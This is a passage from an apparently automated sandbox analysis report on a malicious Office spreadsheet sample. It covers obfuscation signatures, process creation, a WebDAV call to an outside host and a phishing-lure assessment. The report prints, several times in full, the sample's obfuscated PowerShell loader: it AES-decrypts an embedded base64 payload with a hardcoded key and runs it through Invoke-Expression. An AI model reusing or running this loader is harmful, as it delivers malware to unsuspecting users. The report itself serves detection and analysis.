                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetPinvokeMap source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumSignatures source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetFieldMarshal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumUserStrings source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetRVA source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefinePermissionSet source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetMethodProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetPropertyProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetUserString source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetInterfaceImplProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetFieldMarshal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineTypeDef source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumTypeDefs source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportMember source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumInterfaceImpls source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetMemberProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineImportType source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.GetTokenFromSig source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: System.Collections.Generic.IEnumerable<dnlib.DotNet.Pdb.PdbScope>.GetEnumerator source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumEvents source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.GetParamForMethodIndex source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.DefineField source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.EnumMethodsWithName source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataImport.IsGlobal source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: dnlib.DotNet.Pdb.Dss.IMetaDataEmit.SetEventProps source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: Binary string: H:\New Private Panell Src 3.0 New\New Private Panell Src 3.0 2025\New Private Panell Src 3.0\dnlib-fuscator-master win7\src\obj\Debug\dnlib.pdb source: powershell.exe, 0000000A.00000002.456553526.0000000003569000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.458810133.0000000006320000.00000004.08000000.00040000.00000000.sdmp
                Source: ~DF1EBBD290B6D7EBE6.TMP.0.drInitial sample: OLE indicators vbamacros = False
                Source: PI-002312.xlsInitial sample: OLE indicators encrypted = True

                Data Obfuscation

                barindex
                Obfuscated command line found
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
                Suspicious powershell command line found
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI87355924191917571657221755980918CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIuNSTmXUI0HgFw3fdM1ERT/tun0uBDlOiQyHJlmXQIhnecjctgQ65PlKspfuRkCDRjEPH4Ihki2Ib6LDmK9phm3xXkeNi+fcKsxPwgqQcHOTbxmi5gehOXzdiLKULSMHsRGtrAT4hLirjCliJFHhPPoPAD8WrrNJOauPIbQ8LjKCbYXN79XvsHb07Yd11FEz/xBrM4eb0d6oDjgTxHYLrzF6J4EfbA9GRGmdc4tkwy2zlMYr0bFEZ+TXcIkX6MoawoDSDQCJz8W7GBp0wX7cDBpIBhIxab4r+prVGaCCG+0+3uEp7n/keTDVANuLUjK7WM0vFCbyd/wVRtzF4youZwmOc3oaCF/JrShl+say08x0QppsCNvWz86ojjUOePGJsv67aspbPc+MT7ExHDG3Nzcev9OvNfYyq2MjA+OyHp/F7vijb0t7gbDYnwMe4HIfBgRkZkghh0vLgZbfSOZQmmNYaTrwwNG1StWUKeon1TmwO+GG02RY5xYL9dVsfOHoro3YjN0N+knyfSiTSLd8VpRGssVO3vdtrX83PC61AEKuwGmOKozlk3nzEbypC+P8jH/rC5lWjA5zr77TSv/3mL20F7OS9KdMcYBjEGjeQBi2Go74vJ2WeLC1Ow7MmkVoHZMjPL4LBdcCDe3+RcMbiLQBYCalcm5AUNss21ha2+mb9sY0foP8Ez4UEfMsUX1rlQ2L4c8NimJOaGijgqysi/8/4pvNnD/sDhqf9Jv/RJy+DJdtvGCjd3eg+777E0i3Zy2WWu4edO5corcrRaO0QH5KUcez0fY+pfnv3ycP5Njlg3ee0PHZw6sMPAER25mwo6SdwnN/dBC6KJXCNuDMBO0NSgE1NaaMlVsvxYB09SoTLfOQfkI1HTVgxNTWGoMCwSo9fQJZ6v2G6lGAw0fSjKOC9ekynuz2I6aDEVQhjeBtb0xHr2FEqYELQ/pZpkSkEkGIt2Hk3LvIWcMIenJWqnjfen61s15Yu2EdgjIt9Mn3N8vSlm2edKYHvSDcmrf7Gu/P8wb6OKnXNHosYcBbbFwXBRtzLtR07JaIq87PiGQKXkLtiP+St5jLN1RKHuViNAKANGwfM28rb84mkuqGiXByiubZnTAtp97cvhahwn4PXpi1Kez7/kbaDDKXCvVKN3TK4hLXC8Ot+rpc8CCzkwpZACGoSzxk3WPrLHnyjTQ6zn0qE6SrOQCIe3FfGGvicERREowxQvbpIw9uSzA17OsC636M5zXSToQgHiyAkm/dDk+wHfmDJGIsVE2wRGDtoq0Qt+tGgtB9Bi3fKJGvPBCuWm1jPuHv/LpyDiDNqEldTLSKZiQIIVm6lT/bYy7Al9K4rBqB6iJEpuxyHndJU46lXfgraSgD2XgA6ahTGriaCII6EAxgJSunErp5iVOk6tfQCtMutwbB720ZK5BpUkQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 10_2_002E25AD push ebx; retf 10_2_002E25EA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00457106 push ecx; ret 12_2_00457119
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045B11A push esp; ret 12_2_0045B141
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0045E54D push esi; ret 12_2_0045E556
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00457A28 push eax; ret 12_2_00457A46
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00434E56 push ecx; ret 12_2_00434E69

                Persistence and Installation Behavior

                barindex
                Microsoft Office launches external ms-search protocol handler (WebDAV)
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRootJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRootJump to behavior
                AI detected suspicious Excel or Word document
                Source: Office documentLLM: Score: 9 Reasons: The screenshot contains a visually prominent message with the Microsoft Office logo and the text 'This document is protected'. This is a common tactic used in phishing attacks to create a sense of urgency or necessity to click on a link to view the document. The use of the Microsoft Office logo impersonates a well-known brand, which can mislead users into believing the document is legitimate. The combination of these elements strongly suggests that the document could be used to mislead the user into clicking on a potentially harmful link, leading to a phishing page or malware download.
                Office drops RTF file
